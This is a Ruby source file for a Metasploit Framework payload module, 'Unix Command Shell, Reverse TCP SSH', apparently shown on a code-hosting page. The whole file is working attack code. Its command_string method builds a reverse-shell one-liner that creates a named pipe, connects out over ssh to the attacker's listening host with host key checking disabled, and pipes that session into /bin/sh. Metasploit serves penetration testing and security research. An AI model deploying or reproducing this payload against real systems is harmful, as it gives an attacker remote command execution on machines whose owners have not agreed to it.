bwatters-r7
62 lines
1.9 KiB
Ruby
62 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/handler/reverse_ssh'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Reverse TCP SSH',
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'Description' => 'Connect back and create a command shell via SSH',
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'Author' => [
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'RageLtMan <rageltman[at]sempervictus>', # Rex/Metasploit
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'hirura' # HrrRbSsh
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],
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseSsh,
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'Session' => Msf::Sessions::SshCommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'ssh',
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'Payload' => { 'Offsets' => {}, 'Payload' => '' }
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))
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register_advanced_options(
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[
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Msf::OptString.new('SshClientOptions', [
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false,
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"Space separated options for the ssh client",
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'UserKnownHostsFile=/dev/null StrictHostKeyChecking=no'
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])
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]
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)
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end
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#
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# Constructs the payload
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#
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def generate
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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backpipe = Rex::Text.rand_text_alpha_lower(4..8)
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lport = datastore['LPORT'] == 22 ? '' : "-p #{datastore['LPORT']} "
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opts = datastore['SshClientOptions'].blank? ? '' : datastore['SshClientOptions'].split(' ').compact.map {|e| e = "-o #{e} " }.join
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"mkfifo /tmp/#{backpipe};ssh -qq #{opts}#{datastore['LHOST']} #{lport}0</tmp/#{backpipe}|/bin/sh >/tmp/#{backpipe} 2>&1;rm /tmp/#{backpipe}"
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end
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end
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